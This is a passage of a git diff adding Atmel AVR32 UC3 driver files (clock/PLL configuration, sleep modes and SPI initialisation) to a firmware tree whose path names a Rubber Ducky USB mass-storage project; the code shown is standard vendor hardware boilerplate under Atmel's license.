frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + + + scif_pll_setup(SCIF_PLL0, opt); // lockcount in main clock for the PLL wait lock + + /* Enable PLL0 */ + scif_pll_enable(SCIF_PLL0); + + /* Wait for PLL0 locked */ + scif_wait_for_pll_locked(SCIF_PLL0) ; + + rest = pll_freq; + while (rest > AVR32_PM_PBA_MAX_FREQ || + rest != param->pba_f) + { + div2_pba++; + rest = pll_freq / (1 << div2_pba); + if (rest < param->pba_f) + break; + } + + // Update real PBA Frequency + param->pba_f = pll_freq / (1 << div2_pba); + + + if (div2_cpu) + { + b_div2_cpu = true; + div2_cpu--; + } + else + b_div2_cpu = false; + + if (div2_pba) + { + b_div2_pba = true; + div2_pba--; + } + else + b_div2_pba = false; + + if (b_div2_cpu == true ) + { + pm_set_clk_domain_div(PM_CLK_DOMAIN_0, (pm_divratio_t) div2_cpu); // CPU + pm_set_clk_domain_div(PM_CLK_DOMAIN_1, (pm_divratio_t) div2_cpu); // HSB + pm_set_clk_domain_div(PM_CLK_DOMAIN_3, (pm_divratio_t) div2_cpu); // PBB + } + if (b_div2_pba == true ) + { + pm_set_clk_domain_div(PM_CLK_DOMAIN_2, (pm_divratio_t) div2_pba); // PBA + + } + + // Set Flashc Wait State + flashcdw_set_flash_waitstate_and_readmode(param->cpu_f); + + // Set the main clock source as being PLL0. + pm_set_mclk_source(PM_CLK_SRC_PLL0); + + return PASS; +} +#endif // UC3D device-specific implementation + +long int pcl_switch_to_osc(pcl_osc_t osc, unsigned int fcrystal, unsigned int startup) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + if(PCL_OSC0 == osc) + { + // Configure OSC0 in crystal mode, external crystal with a FOSC0 Hz frequency, + // enable the OSC0, set the main clock source as being OSC0. + pm_switch_to_osc0(&AVR32_PM, fcrystal, startup); + } + else + { + return PCL_NOT_SUPPORTED; + } +#else +// Implementation for UC3C, UC3L parts. + #if AVR32_PM_VERSION_RESETVALUE < 0x400 + return PCL_NOT_SUPPORTED; + #else + if(PCL_OSC0 == osc) + { + // Configure OSC0 in crystal mode, external crystal with a fcrystal Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, fcrystal); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, startup, true); + // Set the Flash wait state and the speed read mode (depending on the target CPU frequency). +#if UC3L || UC3D + flashcdw_set_flash_waitstate_and_readmode(fcrystal); +#elif UC3C + flashc_set_flash_waitstate_and_readmode(fcrystal); +#endif + // Set the main clock source as being OSC0. + pm_set_mclk_source(PM_CLK_SRC_OSC0); + } + else + { + return PCL_NOT_SUPPORTED; + } + #endif +#endif + return PASS; +} + +long int pcl_configure_usb_clock(void) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + pm_configure_usb_clock(); + return PASS; +#else + #if UC3C + const scif_pll_opt_t opt = { + .osc = SCIF_OSC0, // Sel Osc0 or Osc1 + .lockcount = 16, // lockcount in main clock for the PLL wait lock + .div = 1, // DIV=1 in the formula + .mul = 5, // MUL=7 in the formula + .pll_div2 = 1, // pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + .pll_wbwdisable = 0, //pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + .pll_freq = 1, // Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + }; + + /* Setup PLL1 on Osc0, mul=7 ,no divisor, lockcount=16, ie. 16Mhzx6 = 96MHz output */ + scif_pll_setup(SCIF_PLL1, opt); // lockcount in main clock for the PLL wait lock + + /* Enable PLL1 */ + scif_pll_enable(SCIF_PLL1); + + /* Wait for PLL1 locked */ + scif_wait_for_pll_locked(SCIF_PLL1) ; + + // Implementation for UC3C parts. + // Setup the generic clock for USB + scif_gc_setup( +#if (defined AVR32_USBB) + AVR32_SCIF_GCLK_USB, +#else + AVR32_SCIF_GCLK_USBC, +#endif + SCIF_GCCTRL_PLL1, + AVR32_SCIF_GC_NO_DIV_CLOCK, + 0); + // Now enable the generic clock + scif_gc_enable( +#if (defined AVR32_USBB) + AVR32_SCIF_GCLK_USB +#else + AVR32_SCIF_GCLK_USBC +#endif + ); + return PASS; + #else + return PCL_NOT_SUPPORTED; + #endif +#endif +} + + +#if UC3L +#else +void pcl_write_gplp(unsigned long gplp, unsigned long value) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + pm_write_gplp(&AVR32_PM,gplp,value); +#else + scif_write_gplp(gplp,value); +#endif +} + +unsigned long pcl_read_gplp(unsigned long gplp) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + return pm_read_gplp(&AVR32_PM,gplp); +#else + return scif_read_gplp(gplp); +#endif +} +#endif diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/power_clocks_lib.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/power_clocks_lib.h new file mode 100755 index 0000000..e1966c2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/power_clocks_lib.h @@ -0,0 +1,387 @@ +/***************************************************************************** + * + * \file + * + * \brief High-level library abstracting features such as oscillators/pll/dfll + * configuration, clock configuration, System-sensible parameters + * configuration, buses clocks configuration, sleep mode, reset. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + *****************************************************************************/ + + +#ifndef _POWER_CLOCKS_LIB_H_ +#define _POWER_CLOCKS_LIB_H_ + +/** + * \defgroup group_avr32_drivers_pm_power_clocks_lib Power Clocks Library + * \ingroup group_avr32_drivers_pm + * + * \{ + */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "compiler.h" + +#ifndef AVR32_PM_VERSION_RESETVALUE +// Support for UC3A, UC3A3, UC3B parts. + #include "pm.h" +#else +//! Device-specific data +#if UC3L + #include "pm_uc3l.h" + #include "scif_uc3l.h" + #include "flashcdw.h" +#elif UC3C + #include "pm_uc3c.h" + #include "scif_uc3c.h" + #include "flashc.h" +#elif UC3D + #include "pm_uc3d.h" + #include "scif_uc3d.h" + #include "flashcdw.h" +#endif + #endif + +/*! \name Clocks Management + */ +//! @{ + +//! The different oscillators +typedef enum +{ + PCL_OSC0 = 0, + PCL_OSC1 = 1 +} pcl_osc_t; + +//! The different DFLLs +typedef enum +{ + PCL_DFLL0 = 0, + PCL_DFLL1 = 1 +} pcl_dfll_t; + +//! Possible Main Clock Sources +typedef enum +{ + PCL_MC_RCSYS, // Default main clock source, supported by all (aka Slow Clock) + PCL_MC_OSC0, // Supported by all + PCL_MC_OSC1, // Supported by UC3C only + PCL_MC_OSC0_PLL0, // Supported by UC3A, UC3B, UC3A3, UC3C (the main clock source is PLL0 with OSC0 as reference) + PCL_MC_OSC1_PLL0, // Supported by UC3A, UC3B, UC3A3, UC3C (the main clock source is PLL0 with OSC1 as reference) + PCL_MC_OSC0_PLL1, // Supported by UC3C (the main clock source is PLL1 with OSC0 as reference) + PCL_MC_OSC1_PLL1, // Supported by UC3C (the main clock source is PLL1 with OSC1 as reference) + PCL_MC_DFLL0, // Supported by UC3L + PCL_MC_DFLL1, // Not supported yet + PCL_MC_RC120M, // Supported by UC3L, UC3C + PCL_MC_RC8M, // Supported by UC3C + PCL_MC_CRIPOSC // Supported by UC3C +} pcl_mainclk_t; + +//! Input and output parameters to configure clocks with pcl_configure_clocks(). +// NOTE: regarding the frequency settings, always abide by the datasheet rules and min & max supported frequencies. +#ifndef AVR32_PM_VERSION_RESETVALUE +// Support for UC3A, UC3A3, UC3B parts. +#define pcl_freq_param_t pm_freq_param_t // See pm.h +#else +// Support for UC3C, UC3L parts. +typedef struct +{ + //! Main clock source selection (input argument). + pcl_mainclk_t main_clk_src; + + //! Target CPU frequency (input/output argument). + unsigned long cpu_f; + + //! Target PBA frequency (input/output argument). + unsigned long pba_f; + + //! Target PBB frequency (input/output argument). + unsigned long pbb_f; + + //! Target PBC frequency (input/output argument). + unsigned long pbc_f; + + //! Oscillator 0's external crystal(or external clock) frequency (board dependant) (input argument). + unsigned long osc0_f; + + //! Oscillator 0's external crystal(or external clock) startup time: AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC (input argument). + unsigned long osc0_startup; + + //! DFLL target frequency (input/output argument) (NOTE: the bigger, the most stable the frequency) + unsigned long dfll_f; + + //! Other parameters that might be necessary depending on the device (implementation-dependent). + // For the UC3L DFLL setup, this parameter should be pointing to a structure of + // type (scif_gclk_opt_t *). + void *pextra_params; +} pcl_freq_param_t; +#endif + +//! Define "not supported" for the lib. +#define PCL_NOT_SUPPORTED (-10000) + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - main_clk_src is the id of the main clock source to use, + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - osc0_f is the oscillator 0's external crystal (or external clock) on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0's external crystal (or external clock) startup time (e.g. OSC0_STARTUP). + * - dfll_f is the target DFLL frequency to set-up if main_clk_src is the dfll. + * + * The CPU, HSB and PBA frequencies programmed after configuration are stored back into cpu_f and pba_f. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the RCSYS osc as main source clock. + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies + * + * Supported main clock sources: PCL_MC_RCSYS + * + * Supported synchronous clocks frequencies: + * 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_rcsys() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_rcsys(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the RC120M osc as main source clock. + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies + * + * Supported main clock sources: PCL_MC_RC120M + * + * Supported synchronous clocks frequencies: + * 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_rc120m() and modify it to + * use preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_rc120m(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the OSC0 osc as main source clock + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - osc0_f is the oscillator 0's external crystal (or external clock) on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0's external crystal (or external clock) startup time (e.g. OSC0_STARTUP). + * + * Supported main clock sources: PCL_MC_OSC0 + * + * Supported synchronous clocks frequencies: + * (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + * 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_osc0() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_osc0(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the DFLL0 as main source clock + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - dfll_f is the target DFLL frequency to set-up + * + * \note: when the DFLL0 is to be used as main source clock for the synchronous clocks, + * the target frequency of the DFLL should be chosen to be as high as possible + * within the specification range (for stability reasons); the target cpu and pbx + * frequencies will then be reached by appropriate division ratio. + * + * Supported main clock sources: PCL_MC_DFLL0 + * + * Supported synchronous clocks frequencies: + * (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + * 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_dfll0() and modify it to + * use preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_dfll0(pcl_freq_param_t *param); + +/*! \brief Switch the main clock source to Osc0 configured in crystal mode + * + * \param osc The oscillator to enable and switch to. + * \param fcrystal Oscillator external crystal frequency (Hz) + * \param startup Oscillator startup time. + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long int pcl_switch_to_osc(pcl_osc_t osc, unsigned int fcrystal, unsigned int startup); + +/*! \brief Enable the clock of a module. + * + * \param module The module to clock (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks" + * or look in the module section). + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. +#define pcl_enable_module(module) pm_enable_module(&AVR32_PM, module) +#else +// Implementation for UC3C, UC3L parts. +#define pcl_enable_module(module) pm_enable_module(module) +#endif + +/*! \brief Disable the clock of a module. + * + * \param module The module to shut down (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks" + * or look in the module section). + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. +#define pcl_disable_module(module) pm_disable_module(&AVR32_PM, module) +#else +// Implementation for UC3C, UC3L parts. +#define pcl_disable_module(module) pm_disable_module(module) +#endif + +/*! \brief Configure the USB Clock + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long int pcl_configure_usb_clock(void); + +//! @} + +/*! \name Power Management + */ +//! @{ +/*! + * \brief Read the content of the GPLP registers + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * + * \return The content of the chosen GPLP register. + */ +extern unsigned long pcl_read_gplp(unsigned long gplp); + + +/*! + * \brief Write into the GPLP registers + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * \param value Value to write + */ +extern void pcl_write_gplp(unsigned long gplp, unsigned long value); + +//! @} + +#ifdef __cplusplus +} +#endif + +/** + * \} + */ + +#endif // _POWER_CLOCKS_LIB_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/sleep.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/sleep.h new file mode 100755 index 0000000..7a1657f --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/sleep.h @@ -0,0 +1,151 @@ +/** + * \file + * + * \brief Sleep mode access + * + * Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef SLEEP_H +#define SLEEP_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#ifndef AVR32_PM_SMODE_GMCLEAR_MASK +#define AVR32_PM_SMODE_GMCLEAR_MASK 0x80 +#else +#warning Define already present in the system toolchain header files! +#endif + +/** + * \defgroup sleep_group Power Manager (PM) + * + * This is a stub on the AVR UC3 Power Manager(PM) for the sleepmgr service. + * + * \note To minimize the code overhead, these functions do not feature + * interrupt-protected access since they are likely to be called inside + * interrupt handlers or in applications where such protection is not + * necessary. If such protection is needed, it must be ensured by the calling + * code. + * + * @{ + */ + +#if defined(__DOXYGEN__) +/** + * \brief Sets the MCU in the specified sleep mode + * \param sleep_mode Sleep mode to set. + */ +#endif + +#if (UC3A || UC3B) // For AVR UC3 A0/A1, UC3 B, UC3 A3 series + +# ifndef AVR32_PM_SMODE_DEEPSTOP +# define AVR32_PM_SMODE_DEEPSTOP 0x00000004 +# endif +# include "pm.h" +#elif UC3C // For AVR UC3 C series +# include "pm_uc3c.h" +#elif UC3D // For AVR UC3 D series +# include "pm_uc3d.h" +#elif UC3L // For AVR UC3 L series +# include "pm_uc3l.h" +#else +# error Unsupported AVR UC3 series. +#endif + +static inline void pm_sleep(int sleep_mode) +{ + switch (sleep_mode) { + case AVR32_PM_SMODE_IDLE: + SLEEP(AVR32_PM_SMODE_IDLE); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_IDLE: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_IDLE); + break; + case AVR32_PM_SMODE_FROZEN: + SLEEP(AVR32_PM_SMODE_FROZEN); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_FROZEN: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_FROZEN); + break; + case AVR32_PM_SMODE_STANDBY: + SLEEP(AVR32_PM_SMODE_STANDBY); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STANDBY: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STANDBY); + break; + case AVR32_PM_SMODE_STOP: + SLEEP(AVR32_PM_SMODE_STOP); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STOP: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STOP); + break; + case AVR32_PM_SMODE_DEEPSTOP: + SLEEP(AVR32_PM_SMODE_DEEPSTOP); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_DEEPSTOP: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_DEEPSTOP); + break; + case AVR32_PM_SMODE_STATIC: + SLEEP(AVR32_PM_SMODE_STATIC); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STATIC: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STATIC); + break; +#if UC3L + case AVR32_PM_SMODE_SHUTDOWN: + SLEEP(AVR32_PM_SMODE_SHUTDOWN); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_SHUTDOWN: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_SHUTDOWN); + break; +#endif + default: + break; + } +} + + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* SLEEP_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/spi/spi.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/spi/spi.c new file mode 100755 index 0000000..1b7198e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/spi/spi.c @@ -0,0 +1,420 @@ +/***************************************************************************** + * + * \file + * + * \brief SPI driver for AVR32 UC3. + * + * This file defines a useful set of functions for the SPI interface on AVR32 + * devices. + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#include "spi.h" + +#ifdef FREERTOS_USED + +#include "FreeRTOS.h" +#include "semphr.h" + +#endif + + +/*! \name SPI Writable Bit-Field Registers + */ +//! @{ + +typedef union +{ + unsigned long cr; + avr32_spi_cr_t CR; +} u_avr32_spi_cr_t; + +typedef union +{ + unsigned long mr; + avr32_spi_mr_t MR; +} u_avr32_spi_mr_t; + +typedef union +{ + unsigned long tdr; + avr32_spi_tdr_t TDR; +} u_avr32_spi_tdr_t; + +typedef union +{ + unsigned long ier; + avr32_spi_ier_t IER; +} u_avr32_spi_ier_t; + +typedef union +{ + unsigned long idr; + avr32_spi_idr_t IDR; +} u_avr32_spi_idr_t; + +typedef union +{ + unsigned long csr; + avr32_spi_csr0_t CSR; +} u_avr32_spi_csr_t; + +//! @} + + +#ifdef FREERTOS_USED + +//! The SPI mutex. +static xSemaphoreHandle xSPIMutex; + +#endif + + +int16_t getBaudDiv(const unsigned int baudrate, uint32_t pb_hz) +{ + int baudDiv = div_ceil((pb_hz + baudrate / 2), baudrate); + + if (baudDiv <= 0 || baudDiv > 255) { + return -1; + } + + return baudDiv; +} + +spi_status_t spi_initSlave(volatile avr32_spi_t *spi, + unsigned char bits, + unsigned char spi_mode) +{ + if (spi_mode > 3 || + bits < 8 || bits > 16) { + return SPI_ERROR_ARGUMENT; + } + + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + + // Will use CSR0 offsets; these are the same for CSR0 to CSR3. + spi->csr0 = ((spi_mode >> 1) << AVR32_SPI_CSR0_CPOL_OFFSET) | + (((spi_mode & 0x1) ^ 0x1) << AVR32_SPI_CSR0_NCPHA_OFFSET) | + ((bits - 8) << AVR32_SPI_CSR0_BITS_OFFSET); + + return SPI_OK; +} + + +spi_status_t spi_initTest(volatile avr32_spi_t *spi) +{ + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + spi->mr |= AVR32_SPI_MR_MSTR_MASK | // Master Mode. + AVR32_SPI_MR_LLB_MASK; // Local Loopback. + + return SPI_OK; +} + + +spi_status_t spi_initMaster(volatile avr32_spi_t *spi, const spi_options_t *options) +{ + u_avr32_spi_mr_t u_avr32_spi_mr; + + if (options->modfdis > 1) { + return SPI_ERROR_ARGUMENT; + } + + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + + // Master Mode. + u_avr32_spi_mr.mr = spi->mr; + u_avr32_spi_mr.MR.mstr = 1; + u_avr32_spi_mr.MR.modfdis = options->modfdis; + u_avr32_spi_mr.MR.llb = 0; + u_avr32_spi_mr.MR.pcs = (1 << AVR32_SPI_MR_PCS_SIZE) - 1; + spi->mr = u_avr32_spi_mr.mr; + + return SPI_OK; +} + + +spi_status_t spi_selectionMode(volatile avr32_spi_t *spi, + unsigned char variable_ps, + unsigned char pcs_decode, + unsigned char delay) +{ + u_avr32_spi_mr_t u_avr32_spi_mr; + + if (variable_ps > 1 || + pcs_decode > 1) { + return SPI_ERROR_ARGUMENT; + } + + u_avr32_spi_mr.mr = spi->mr; + u_avr32_spi_mr.MR.ps = variable_ps; + u_avr32_spi_mr.MR.pcsdec = pcs_decode; + u_avr32_spi_mr.MR.dlybcs = delay; + spi->mr = u_avr32_spi_mr.mr; + + return SPI_OK; +} + + +spi_status_t spi_selectChip(volatile avr32_spi_t *spi, unsigned char chip) +{ +#ifdef FREERTOS_USED + while (pdFALSE == xSemaphoreTake(xSPIMutex, 20)); +#endif + + // Assert all lines; no peripheral is selected. + spi->mr |= AVR32_SPI_MR_PCS_MASK; + + if (spi->mr & AVR32_SPI_MR_PCSDEC_MASK) { + // The signal is decoded; allow up to 15 chips. + if (chip > 14) { + return SPI_ERROR_ARGUMENT; + } + + spi->mr &= ~AVR32_SPI_MR_PCS_MASK | (chip << AVR32_SPI_MR_PCS_OFFSET); + } else { + if (chip > 3) { + return SPI_ERROR_ARGUMENT; + } + + spi->mr &= ~(1 << (AVR32_SPI_MR_PCS_OFFSET + chip)); + } + + return SPI_OK; +} + + +spi_status_t 